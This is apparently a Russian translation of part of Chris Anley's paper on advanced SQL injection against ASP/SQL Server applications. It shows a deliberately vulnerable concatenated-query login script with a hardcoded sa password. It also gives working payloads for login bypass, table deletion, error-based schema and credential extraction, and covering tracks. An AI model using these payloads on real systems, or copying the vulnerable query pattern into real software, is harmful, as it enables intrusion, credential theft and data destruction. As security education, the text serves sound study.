Примечание переводчика
Данная работа является переводом части работы Chris Anley Advanced SQL Injection In SQL Server Applications. (прямая ссылка для скачивания)
В последующих статьях, при наличии свободного времени, данный перевод будет доведен до конца.
P.S. Перевод будет интересен более в образовательных и исторических целях.
Оригинальное название статьи: Продвинутые SQL-инъекции в приложениях, использующих язык SQL.
Аннотация
В данной статье подробно рассматриваются общие способы «SQL-инъекции», для известной платформы Microsoft Internet Information Server/Active Server Pages/SQL Server. В ней обсуждаются различные варианты использования инъекции SQL в приложениях и объясняются методы проверки данных, а также защита баз данных, в которых могут быть использованы инъекции.
Введение
Structured Query Language (SQL) — это структурированный язык, используемый для взаимодействия с базами данных. Существует множетсво «диалектов» языка SQL, но сегодня, в основном, все они построены на основе стандарта SQL-92, один из ранних ANSI стандартов. Основной операционный блок SQL — запрос (query), который является совокупностью выражений, которые обычно возвращают совокупность результатов (result set). SQL выражения могут изменять структуру баз данных (используя выражения языков определения данных — DLL) и управлять их содержанием (используя выражения языков манипулирования данными — DML). В данной работе, мы рассмотрим transact-SQL, использующийся в Microsoft SQL Server.
SQL-инъекции возможны в том случае, когда злоумышленник может вставить свой SQL-код в запрос (query), для управления данными, которые отправляются в приложение.
Обычное SQL выражение выглядит следующим образом:
select id, forename, surname from authors
Это выражение берет «id», «forename» и «surname» из колонок таблицы «authors» и возвращает все строки в таблице. Выборка может быть ограниченна, определенным «автором», например:
select id, forename, surname from authors where forename = 'john' and surname = 'smith'
Необходимо отметить, что в данном запросе строковые литералы разделены одинарной кавычкой. Предполагается, что «forename» и «surrname» являются данными, которые вводятся пользователем. В данном случае злоумышленник будет способен внести собственный SQL-запрос, путем добавления собственных значений в приложение. Например:
<source lang="html">
Forename: jo'hn
Surname: smith
Тогда выражение примет следующий вид:
select id, forename, surname from authors where forename = 'jo'hn' and surname = 'smith'
После того, как база данных попытается обработать подобный запрос будет возвращена следующая ошибка:
Server: Msg 170, Level 15, State 1, Line 1
Line 1: Incorrect syntax near 'hn'.
Причина ошибки будет заключаться в том, что введенная одиночная кавычка испортит структуру разделителей в запросе. Таким образом, база данных безуспешно попытается выполнить команду «hn», которая приведет к ошибке. В итоге, если злоумышленник введет в форму следующую информацию:
Forename: jo'; drop table authors--
Surname:
Таблица «authors» будет удалена, почему это произойдет мы рассмотрим позже.
Вам может показаться, что если мы будем удалять одиночные кавычки из формы ввода, а также «заменять» их, это может решить нашу проблему. И вы будете правы, однако существуют некоторые проблемы с использованием этого способа, в качестве решения данной задачи. Во-первых, не вся вводимая пользователем информация является «строками» (strings). Если пользовательская форма будет содержать «id» автора, который обычно является числом. Например, наш запрос может выглядеть следующим образом:
select id, forename, surname from authors where id=1234
В данном случае взломщик беспрепятственно сможет добавить любое SQL-выражение в после численных данных. В других разновидностях SQL-запросов, используются различные разграничители. Например, в Microsoft Jet DBMS разграничителем будет символ «#». Во-вторых, «избегание» («escaping») одиночных кавычек вовсе не самый простой способ защиты, как это может показаться сперва. Подробнее об этом мы поговорим далее.
Приведем пример на основе страницы входа на основе Active Server Pages (ASP), которая при помощи SQL получает доступ к базе данных, чтобы авторизовать пользователя в каком-либо приложении.
Приведем код страницы, содержащей форму входа, в которую вводятся имя пользователя и пароль.
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>
<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_login.asp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100% width=100></INPUT></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100%
width=100></INPUT></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'> <INPUT type=reset value='Reset'>
</FORM>
</FONT>
</BODY>
</HTML>
Ниже код (process_login.asp), определяющий корректность введенных данных.
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
</script>
<script>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ){
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "'
and password = '" + password + "'";
trace( "query: " + sql );
rso.open( sql, cn );
%>
if (rso.EOF) {
rso.close();
<FONT Face='tahoma' color='cc0000'>
<H1>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
}
else{
%>
<%
}
Response.end
return;
Session("username") = "" + rso("username");
<FONT Face='tahoma' color='00cc00'>
<H1>
<CENTER>ACCESS GRANTED
Welcome,
Response.write(rso("Username"));
Response.write( "</BODY></HTML>" );
Response.end
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0)
{
Login( cn );
}
}
cn.close();
Main();
%>
Уязвимость здесь содержиться в «process_login.asp», который создает запрос следующего вида:
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'";
Если пользователь введет:
Username: '; drop table users--
Password:
таблица «users» будет удалена, что закроет доступ к приложению для всех пользователей. Сочетание «--» в Transact-SQL определяет однострочный комментарий, а «;» обозначает конец одной строки и начало другой. Два последовательных тире в данном запросе используются с целью завершить запрос без ошибок.
Более того, злоумышленник может зайти в систему под любым именем пользователя, используя следующую конструкцию:
Username: admin'--
А введя следующую информацию взломщик сможет зайти в систему в качестве выдуманного пользователя:
Username: ' union select 1, 'fictional_user', 'some_password', 1--
Причиной работоспособности этого способа заключается в том, что приложение «поверит», что вернувшийся фиктивный результат является набором записей вернувшихся из базы данных.
Получение информации, основываясь на сообщениях об ошибках
Изобретателем этой методики является David Litchfield, исследователь в области испытаний на проникновение (с целью проверки системы защиты). Позже David написал работу на эту тему[1], на которую ссылались многие другие авторы. В его работе объясняется механизм, использования сообщений об ошибках — «error message» technique. В своем труде он полностью объясняет читателям данную методику, и дает дальнейший толчок в развитии собственного понимания данной проблемы.
Для успешного управления данными, злоумышленник должен знать структуру баз и таблиц, к которым он хочет получить доступ. Например, таблица наших «users» создана при помощи следующей комманды:
create table users(
id int,
username varchar(255),
password varchar(255),
privs int
)
И содержит следующих пользователей:
insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'password', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )
Предположим наш хакер хочет вставить собственную запись в таблицу. Вряд ли ему это удастся, если он не знает её структуры. Но даже если ему это и удастся, то значение поля «privs» так и останется непонятным. Взломщик может вставить значение «1», создав себе аккаунт с низкими привелегиями, в то время как ему необходим доступ на уровне администратора приложения.
К счастью, для хакера стандартное поведение ASP на ошибки — отображение сообщений о них, с их помощью полностью определив структуру базы данных, а следовательно узнать значения всех полей из аккаунтов пользователей, которые занесены в базу приложения.
(В следующем примере мы будем использовать предложенную выше базу данных, а также asp скрипт, чтобы показать эту методику в действии.)
Во-первых, взломщик захочет установить имена таблиц, с которыми работают запросы, а также имена полей. Для достижения поставленной цели злоумышленник будет использовать конструкцию «having» в select выражения:
Username: ' having 1=1--
Которое вызовет следующую ошибку:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.
/process_login.asp, line 35
Таким образом, зная имена таблиц и имя первой колонки в ней. Эту процедуру можно продолжать при помощи оператора «group by», как показано ниже:
Username: ' group by users.id having 1=1--
(которое в свою очередь породит новую ошибку)
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.username' is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause.
/process_login.asp, line 35
В итоге хакер придет следующей конструкции:
' group by users.id, users.username, users.password, users.privs having 1=1--
Которая не вызовет ошибки и будет эквивалентна:
select * from users where username = ''
Таким образом, злоумышленник узнает, что запрос затрагивает лишь таблицу «users», структура которой 'id, username, password, privs' (именно в этом порядке).
Полезной эта информация будте в том случае, если удастся узнать тип данных, который используется в каждой из колонок. Информацию о типе данных можно получить, используя «преобразование типов», например:
Username: ' union select sum(username) from users--
Смысл функции summ() заключается в том, что SQL server пытается выполнить ее до того как определит является ли значение численным или символьным. Попытка вычислить «сумму» текстового поля приведет к следующей ошибке:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
/process_login.asp, line 35
Которое сообщает нам, что тип данных в поле «username» — varchar. С другой стороны, если мы попытаемся вычислить sum() численного типа, то получим сообщение уведомляющее, что число символов в наборе двух текстовых строк не совпадает:
Username: ' union select sum(id) from users--
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target lists.
/process_login.asp, line 35
Мы можем использовать подобную технику для определения типа данных практически любой колонки, любой табилцы, находящейся в базе данных.
Что в свою очередь поможет злоумышленнику сформировать хорошо составленный «insert» запрос, например:
Username: '; insert into users values( 666, 'attacker', 'foobar', 0xffff )--
Однако, для возможности алгоритма на этом не заканчиваются. Хакер может получить полезную информацию из ошибок об окружении или самой базе данных. Список стандартных ошибок можно добыть используя конструкцию:
select * from master..sysmessages
Выполнив этот запрос можно получить много занимательной информации.
Особенно полезными являются сведения о конвертации типов. Если вы попытаетесь сконвертировать string в integer, вернется сообщение, содержащее в себе весь контент string. В нашем примере, преобразование «username» вернет версию SQL server'а, а также версию операционной системы.
Username: ' union select @@version,1,1,1--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.194 (Intel X86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft Corporation Enterprise Edition on Windows NT 5.0 (Build 2195: Service Pack 2) ' to a column of data type int.
/process_login.asp, line 35
В приведенном примере мы попытаемся преобразовать встроенную константу
'@@version'
в целочисленное значение, так как первая колонка в таблице «users» имеет это тип данных.
Метод может быть использован для чтения любого значения в любой таблице в базе данных. Таким образом, если злоумышленник захочет узнать имена пользователей и пароли, то скорее всего для чтения данных он воспользуется следующей конструкцией:
Username: ' union select min(username),1,1,1 from users where username > 'a'--
При выборе пользователя, «username» которого больше чем «а» приведет к попытке преобразования типов к целочисленному значению:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'admin' to a column of data type int.
/process_login.asp, line 35
Таким образом, мы получим список пользователей, после чего сможем перейти к получению паролей:
Username: ' union select password,1,1,1 from users where username = 'admin'--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'r00tr0x!' to a column of data type int.
/process_login.asp, line 35
Более изящный способ — выделить все имена пользователей и пароли в одной выборке, а затем попытаться преобразовать их к целочисленному значению. Необходимо отметить, что выражения Transact-SQL могут быть собраны вмсте в одну строку не изменяя своего значения — рассмотрим следующий пример:
begin declare @ret varchar(8000)
set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where
username>@ret
select @ret as ret into foo
end
Очевидно, что злоумышленник «зайдет» с эти именем пользователя:
Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end--
Этот запрос создаст таблицу foo, которая будет содержать единственную колонку «ret», в которой будут находиться все наши строки. Зачастую даже пользователь с низкими привелегиями имеет возможность создать таблицу в базе данных, или даже временную базу данных.
Взломщик, таким образом, может выбрать все строки из этой таблицы, так же как и в предыдущем примере:
Username: ' union select ret,1,1,1 from foo--
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value ': admin/r00tr0x! guest/guest chris/password fred/sesame' to a column of data type int.
/process_login.asp, line 35
А после заметет следы, удалив таблицу:
Username: '; drop table foo--
Вышеперечисленные примеры показывают нам всю гибкость, предлагаемую данным алгоритмом. Нет необходимости говорить, что если злоумышленнику удается вызвать ошибку при обращении к базе данных, то их работа в разы упрощается.
Автор: rgen3